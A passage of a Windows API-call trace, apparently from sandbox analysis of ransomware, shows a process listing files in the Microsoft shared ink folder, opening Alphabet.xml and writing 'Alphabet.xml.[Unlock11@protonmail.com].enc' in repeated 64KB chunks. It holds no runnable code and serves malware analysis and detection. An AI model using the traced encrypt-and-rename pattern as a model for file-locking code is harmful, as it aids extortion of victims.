returned 0x20 [0119.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0119.217] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f00, Size=0xb8) returned 0x325f2f0 [0119.217] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0119.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc10 | out: hHeap=0x2ad0000) returned 1 [0119.217] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0119.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0119.218] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0119.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0119.218] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0119.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0119.219] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0119.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0119.219] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0119.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0119.220] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0119.220] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0119.220] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0119.221] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it")) returned 0x10 [0119.221] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp")) returned 0x10 [0119.222] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr")) returned 0x10 [0119.222] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel")) returned 0x10 [0119.223] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt")) returned 0x10 [0119.223] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv")) returned 0x10 [0119.223] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0119.224] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0119.225] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f2f0, Size=0xe8) returned 0x33d1740 [0119.225] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0119.226] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0119.226] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0119.227] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0119.227] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no")) returned 0x10 [0119.229] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac0910 [0119.229] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl")) returned 0x10 [0119.230] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl")) returned 0x10 [0119.230] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br")) returned 0x10 [0119.230] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt")) returned 0x10 [0119.230] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro")) returned 0x10 [0119.231] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0119.232] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru")) returned 0x10 [0119.232] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0119.233] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk")) returned 0x10 [0119.233] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si")) returned 0x10 [0119.233] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs")) returned 0x10 [0119.234] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se")) returned 0x10 [0119.234] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0910, Size=0xb8) returned 0x325fd70 [0119.234] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0119.248] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0119.248] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0119.252] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th")) returned 0x10 [0119.252] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0119.255] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0119.255] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0119.255] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1740, Size=0x120) returned 0x2c37020 [0119.255] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0119.256] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0119.256] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr")) returned 0x10 [0119.257] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua")) returned 0x10 [0119.257] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn")) returned 0x10 [0119.257] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw")) returned 0x10 [0119.257] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml", lpFilePart=0x9bada4*="Alphabet.xml") returned 0x3f [0119.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0119.258] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d)) returned 1 [0119.258] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f5c | out: pbBuffer=0x3668f5c) returned 1 [0119.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0119.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0119.258] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0119.259] GetFileType (hFile=0x39c) returned 0x1 [0119.259] GetFileType (hFile=0x39c) returned 0x1 [0119.259] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.259] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.259] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.259] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.259] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.259] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.259] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.259] GetLastError () returned 0x0 [0119.259] GetCurrentThreadId () returned 0x9b0 [0119.260] GetLastError () returned 0x0 [0119.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0119.260] GetLastError () returned 0x0 [0119.260] GetLastError () returned 0x0 [0119.260] GetLastError () returned 0x0 [0119.260] GetLastError () returned 0x0 [0119.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0119.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265358 [0119.260] GetLastError () returned 0x0 [0119.260] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0119.261] GetFileType (hFile=0x3ac) returned 0x1 [0119.261] GetLastError () returned 0x0 [0119.261] GetCurrentThreadId () returned 0x9b0 [0119.261] GetLastError () returned 0x0 [0119.261] GetFileType (hFile=0x3ac) returned 0x1 [0119.261] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.261] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.262] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.262] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.262] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.262] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.262] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.262] GetLastError () returned 0x0 [0119.262] GetCurrentThreadId () returned 0x9b0 [0119.262] GetLastError () returned 0x0 [0119.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0119.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0119.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.262] GetLastError () returned 0x0 [0119.263] GetLastError () returned 0x0 [0119.263] GetCurrentThreadId () returned 0x9b0 [0119.263] GetLastError () returned 0x0 [0119.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0119.263] GetLastError () returned 0x0 [0119.263] GetLastError () returned 0x0 [0119.263] GetCurrentThreadId () returned 0x9b0 [0119.263] GetLastError () returned 0x0 [0119.263] GetLastError () returned 0x0 [0119.265] GetLastError () returned 0x0 [0119.265] GetCurrentThreadId () returned 0x9b0 [0119.266] GetLastError () returned 0x0 [0119.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0119.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.266] GetCurrentThreadId () returned 0x9b0 [0119.267] GetLastError () returned 0x0 [0119.267] GetLastError () returned 0x0 [0119.267] GetLastError () returned 0x0 [0119.267] GetLastError () returned 0x0 [0119.267] GetCurrentThreadId () returned 0x9b0 [0119.267] GetLastError () returned 0x0 [0119.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0119.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0119.268] GetLastError () returned 0x0 [0119.269] GetLastError () returned 0x0 [0119.270] GetCurrentThreadId () returned 0x9b0 [0119.270] GetLastError () returned 0x0 [0119.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.270] GetLastError () returned 0x0 [0119.271] GetLastError () returned 0x0 [0119.271] GetCurrentThreadId () returned 0x9b0 [0119.271] GetLastError () returned 0x0 [0119.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652d8 [0119.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265328 | out: hHeap=0x2ad0000) returned 1 [0119.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.271] GetCurrentThreadId () returned 0x9b0 [0119.272] GetLastError () returned 0x0 [0119.272] GetLastError () returned 0x0 [0119.272] GetLastError () returned 0x0 [0119.272] GetLastError () returned 0x0 [0119.272] GetCurrentThreadId () returned 0x9b0 [0119.272] GetLastError () returned 0x0 [0119.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0119.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0119.273] GetLastError () returned 0x0 [0119.274] GetLastError () returned 0x0 [0119.274] GetCurrentThreadId () returned 0x9b0 [0119.274] GetLastError () returned 0x0 [0119.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.274] GetLastError () returned 0x0 [0119.276] GetLastError () returned 0x0 [0119.276] GetCurrentThreadId () returned 0x9b0 [0119.276] GetLastError () returned 0x0 [0119.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0119.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0119.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.276] GetCurrentThreadId () returned 0x9b0 [0119.277] GetLastError () returned 0x0 [0119.277] GetLastError () returned 0x0 [0119.277] GetLastError () returned 0x0 [0119.277] GetLastError () returned 0x0 [0119.277] GetCurrentThreadId () returned 0x9b0 [0119.277] GetLastError () returned 0x0 [0119.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.278] GetLastError () returned 0x0 [0119.279] GetLastError () returned 0x0 [0119.279] GetCurrentThreadId () returned 0x9b0 [0119.279] GetLastError () returned 0x0 [0119.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.279] GetLastError () returned 0x0 [0119.280] GetLastError () returned 0x0 [0119.280] GetCurrentThreadId () returned 0x9b0 [0119.280] GetLastError () returned 0x0 [0119.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0119.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.281] GetCurrentThreadId () returned 0x9b0 [0119.281] GetLastError () returned 0x0 [0119.282] GetLastError () returned 0x0 [0119.282] GetLastError () returned 0x0 [0119.282] GetLastError () returned 0x0 [0119.282] GetCurrentThreadId () returned 0x9b0 [0119.282] GetLastError () returned 0x0 [0119.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0119.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0119.282] GetLastError () returned 0x0 [0119.283] GetLastError () returned 0x0 [0119.284] GetCurrentThreadId () returned 0x9b0 [0119.284] GetLastError () returned 0x0 [0119.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.284] GetLastError () returned 0x0 [0119.286] GetLastError () returned 0x0 [0119.286] GetCurrentThreadId () returned 0x9b0 [0119.286] GetLastError () returned 0x0 [0119.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0119.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0119.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.286] GetCurrentThreadId () returned 0x9b0 [0119.286] GetLastError () returned 0x0 [0119.287] GetLastError () returned 0x0 [0119.287] GetLastError () returned 0x0 [0119.287] GetLastError () returned 0x0 [0119.287] GetCurrentThreadId () returned 0x9b0 [0119.287] GetLastError () returned 0x0 [0119.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0119.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0119.287] GetLastError () returned 0x0 [0119.289] GetLastError () returned 0x0 [0119.289] GetCurrentThreadId () returned 0x9b0 [0119.289] GetLastError () returned 0x0 [0119.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.290] GetLastError () returned 0x0 [0119.290] GetLastError () returned 0x0 [0119.291] GetCurrentThreadId () returned 0x9b0 [0119.291] GetLastError () returned 0x0 [0119.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.291] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265308 [0119.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.291] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.291] GetCurrentThreadId () returned 0x9b0 [0119.291] GetLastError () returned 0x0 [0119.292] GetLastError () returned 0x0 [0119.292] GetLastError () returned 0x0 [0119.292] GetLastError () returned 0x0 [0119.292] GetCurrentThreadId () returned 0x9b0 [0119.292] GetLastError () returned 0x0 [0119.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.293] GetLastError () returned 0x0 [0119.294] GetLastError () returned 0x0 [0119.294] GetCurrentThreadId () returned 0x9b0 [0119.294] GetLastError () returned 0x0 [0119.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.294] GetLastError () returned 0x0 [0119.294] GetLastError () returned 0x0 [0119.294] GetCurrentThreadId () returned 0x9b0 [0119.294] GetLastError () returned 0x0 [0119.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652a8 [0119.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0119.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.295] GetLastError () returned 0x0 [0119.295] GetLastError () returned 0x0 [0119.295] GetLastError () returned 0x0 [0119.295] GetLastError () returned 0x0 [0119.296] GetCurrentThreadId () returned 0x9b0 [0119.296] GetLastError () returned 0x0 [0119.296] GetCurrentThreadId () returned 0x9b0 [0119.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0119.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.296] RtlAllocateHeap (HeapHandle=0x2ad0000, 